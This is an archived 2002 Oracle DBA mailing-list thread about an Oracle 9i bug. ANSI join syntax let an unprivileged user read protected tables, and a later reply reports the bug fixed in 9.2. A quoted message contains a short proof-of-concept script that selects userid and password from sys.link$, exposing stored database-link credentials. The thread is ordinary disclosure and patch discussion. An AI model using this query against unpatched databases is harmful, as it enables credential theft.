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Re: security bug - join syntax

From: Igor Neyman <ineyman_at_perceptron.com>
Date: Fri, 19 Jul 2002 11:34:47 -0800
Message-ID: <F001.0049CF37.20020719113447@fatcity.com>


No, it's fixed in 9.2.:

SQLWKS> create user us1 identified by us1; Statement processed.
SQLWKS> grant create session to us1;
Statement processed.
SQLWKS>
SQLWKS> connect us1/us1_at_af1;
Connected.

SQLWKS>
SQLWKS> select userid, password from
     2> sys.link$ cross join dual;

sys.link$ cross join dual

    *
ORA-00942: table or view does not exist
SQLWKS> Igor Neyman, OCP DBA
ineyman_at_perceptron.com

> Is this still a problem in 9iR2? I do not have it installed yet :(
>
> - Kirti
>
> > -----Original Message-----
> > From: Jared.Still_at_radisys.com [SMTP:Jared.Still_at_radisys.com]
> > Sent: Friday, July 19, 2002 12:05 PM
> > To: Multiple recipients of list ORACLE-L
> > Subject: Re: security bug - join syntax
> >
> > Thanks Linda.
> >
> > Usenet seems to be a little behind the curve though.
> >
> > Jonathan Lewis discovered this and posted on the list
> > ( you saw it here first! ) over a month ago.
> >
> > Jared
> >
> >
> >
> >
> >
> > Linda.Miller-Coker_at_jpmorgan.com
> > Sent by: root_at_fatcity.com
> > 07/19/2002 09:23 AM
> > Please respond to ORACLE-L
> >
> >
> > To: Multiple recipients of list ORACLE-L
> > <ORACLE-L_at_fatcity.com>
> > cc:
> > Subject: Re: security bug - join syntax
> >
> >
> >
> > This just in from comp.databases.oracle.server.
> >
> > See metalink bug 2121935.
> >
> > Using ANSI syntax joins (CROSS JOIN, LEFT OUTER etc)
> > allows you to view data from tables on which you have no
> > privilege. For example, try this COMPLETE script:
> >
> > connect / as sysdba
> > create user us1 identified by us1;
> > grant create session to us1;
> >
> > connect us1/us1
> >
> > select userid, password
> > from
> > sys.link$ cross join dual
> > ;
> >
> >
> >
> >
> > "Adams, Matthew (GEA, MABG, 088130)"
<MATT.ADAMS_at_APPL.GE.COM>@fatcity.com
> > on 07/19/2002 11:04:17 AM
> >
> > Please respond to ORACLE-L_at_fatcity.com
> >
> >
> >
> > Sent by: root_at_fatcity.com
> >
> >
> > To: Multiple recipients of list ORACLE-L <ORACLE-L_at_fatcity.com>
> > cc:
> >
> >
> >
> >
> > Anybody remember the bug number for the security issue
> > with the new join syntax in 9i?
> >
> > ----
> > Matt Adams - GE Appliances - matt.adams_at_appl.ge.com
> > The ozone layer or cheese in a spray can.
> > Don't make me choose.
> >
> >
> >
> >
> > --
> > Please see the official ORACLE-L FAQ: http://www.orafaq.com
> > --
> > Author:
> > INET: Linda.Miller-Coker_at_jpmorgan.com
> >
> > Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051
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> >
> >
> >
> > --
> > Please see the official ORACLE-L FAQ: http://www.orafaq.com
> > --
> > Author:
> > INET: Jared.Still_at_radisys.com
> >
> > Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051
> > San Diego, California -- Public Internet access / Mailing Lists
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> --
> Please see the official ORACLE-L FAQ: http://www.orafaq.com
> --
> Author: Deshpande, Kirti
> INET: kirti.deshpande_at_verizon.com
>
> Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051
> San Diego, California -- Public Internet access / Mailing Lists
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-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Igor Neyman
  INET: ineyman_at_perceptron.com

Fat City Network Services    -- (858) 538-5051  FAX: (858) 538-5051
San Diego, California        -- Public Internet access / Mailing Lists
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To REMOVE yourself from this mailing list, send an E-Mail message
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Received on Fri Jul 19 2002 - 14:34:47 CDT

Original text of this message

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